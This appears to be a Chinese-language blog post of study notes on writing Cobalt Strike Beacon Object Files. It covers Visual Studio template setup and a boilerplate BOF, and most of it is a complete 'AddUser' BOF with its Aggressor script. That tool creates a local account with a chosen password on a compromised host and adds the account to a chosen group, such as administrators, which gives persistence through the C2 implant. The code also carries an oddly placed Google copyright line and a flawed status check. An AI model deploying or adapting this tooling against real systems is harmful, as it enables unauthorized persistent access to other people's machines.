BOF探究学习

BOF 学习

Beacon Object File(BOF) 使用 C 语言编写扩展来扩展 Beacon 的功能。这些扩展可以在运行时直接加载到 Beacon 的内存中并执行,无需在目标机器的磁盘上创建任何文件

0x00 准备:

  1. 下载 Template

    Visual-Studio-BOF-template

  2. 拷贝到 Visual-Studio 目录

    %UserProfile%\Documents\Visual Studio 2022\Templates\ProjectTemplates

    image

  3. 重启 VS

  4. 创建 BOF 项目

    image

  5. 批处理生成 x64 和 x86 以及问题修改

    image

    image

    直接编译报错

    生成后事件改为

    1
    ​xcopy /y "(SolutionDir)bin\$(Configuration)\$(ProjectName).x64.o*"; powershell -ExecutionPolicy Unrestricted -command "& { . '(SolutionDir)bin\$(Configuration)\$(ProjectName).x64.obj' }"
  6. 语言万能开头 用字符串来表达

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    #include "bofdefs.h"

    extern "C" {

    void go(char* buff, int len) {

    #ifdef BOF

    DFR_LOCAL(NETAPI32, DsGetDcNameA);
    DFR_LOCAL(NETAPI32, NetApiBufferFree);
    DFR_LOCAL(KERNEL32, WinExec);
    //add ...

    #endif
    BeaconPrintf(CALLBACK_OUTPUT, "The quieter you become, the more you are able to hear");
    }

    }
    #ifndef BOF

    void main(int argc, char* argv[]) {

    go(NULL, 0);
    }

    #endif

    image

0x01 落地

写几个程序

  1. 添加用户

    描述:BOF 创建用户名

    cna 代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    beacon_command_register(
    "AddUser",
    "add a administrator's user",
    "Synopsis: AddUser <groupname> <username> <password>");

    alias AddUser{
    local('$barch $handle $data $args');
    $gname = $2;
    $uname = $3;
    $pass = $4;

    if ($uname eq "" or $pass eq "") {
    berror($1, "usage command: help AddUser");
    return;
    }

    # Read in the right BOF file
    # figure out the arch of this session
    $barch = barch($1);

    # read in the right BOF file
    $handle = openf(script_resource("dist/AddUser-Bof. $+ $barch $+ .o"));
    $data = readb($handle, -1);
    closef($handle);

    # Pack our arguments
    $args = bof_pack($1, "ZZZ",$gname, $uname, $pass);

    beacon_inline_execute($1, $data, "go", $args);
    }

    BOF 代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    /**************************************************************************
    Copyright Copyright 2025 Google Inc.
    * File Name: Source.c
    * Description: 抱歉原有逻辑实在不忍直视,所以进行了略微更改,尊重原作者:https://github.com/0x3rhy/AddUser-Bof/blob/main/AddUser-Bof.c
    增加组名考虑到需要远程桌面组,还需要再修改,于是改为变量传参 ^-^ *
    * Version: V1.0
    * Author: 3inter
    * Create Time: 2025-05-28
    **************************************************************************/
    #include <windows.h>
    #include <stdio.h>
    #include <lm.h>
    #include "beacon.h"

    typedef DWORD NET_API_STATUS;

    DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetUserAdd(LPWSTR, DWORD, PBYTE, PDWORD);
    DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetLocalGroupAddMembers(LPCWSTR, LPCWSTR, DWORD, PBYTE, DWORD);

    void go(char* args, int len) {
    if (!BeaconIsAdmin()) {
    BeaconPrintf(CALLBACK_ERROR, "[!] You must be admin priv!");
    return;
    }

    USER_INFO_1 UserInfo;
    DWORD dwLevel = 1;
    DWORD dwError = 0;

    wchar_t* GroupName;
    wchar_t* UserName;
    wchar_t* PassWord;

    datap parser;
    BeaconDataParse(&parser, args, len);
    GroupName = (wchar_t*)BeaconDataExtract(&parser, NULL);
    UserName = (wchar_t*)BeaconDataExtract(&parser, NULL);
    PassWord = (wchar_t*)BeaconDataExtract(&parser, NULL);

    if (UserName == NULL || PassWord == NULL) {
    BeaconPrintf(CALLBACK_ERROR, "[!] Invalid argument...\n");
    return;
    }
    UserInfo.usri1_name = UserName;
    UserInfo.usri1_password = PassWord;
    UserInfo.usri1_priv = USER_PRIV_USER;
    UserInfo.usri1_home_dir = NULL;
    UserInfo.usri1_comment = NULL;
    UserInfo.usri1_flags = UF_SCRIPT;
    UserInfo.usri1_script_path = NULL;

    NET_API_STATUS dwStatus;

    dwStatus = NETAPI32$NetUserAdd(
    NULL,
    dwLevel,
    (LPBYTE)&UserInfo,
    &dwError
    );
    do
    {
    if (!dwStatus == NERR_Success) {
    BeaconPrintf(CALLBACK_ERROR, "[!] User added Filed %d", dwStatus);
    break;
    }
    LOCALGROUP_MEMBERS_INFO_3 account = {0};
    account.lgrmi3_domainandname = UserInfo.usri1_name;

    dwStatus = NETAPI32$NetLocalGroupAddMembers(NULL, GroupName, 3, (LPBYTE)&account, 1);
    if (!dwStatus == NERR_Success)
    {
    BeaconPrintf(CALLBACK_ERROR, "[!] User added Filed %d", dwStatus);
    break;
    }
    BeaconPrintf(CALLBACK_OUTPUT, "[*] username: %ls\n password: %ls\n", UserName, PassWord);
    BeaconPrintf(CALLBACK_OUTPUT, "[*] User %ls has been successfully added", UserName);
    } while (0);
    }
  2. 待完成….

    • ToDoList(实现再更)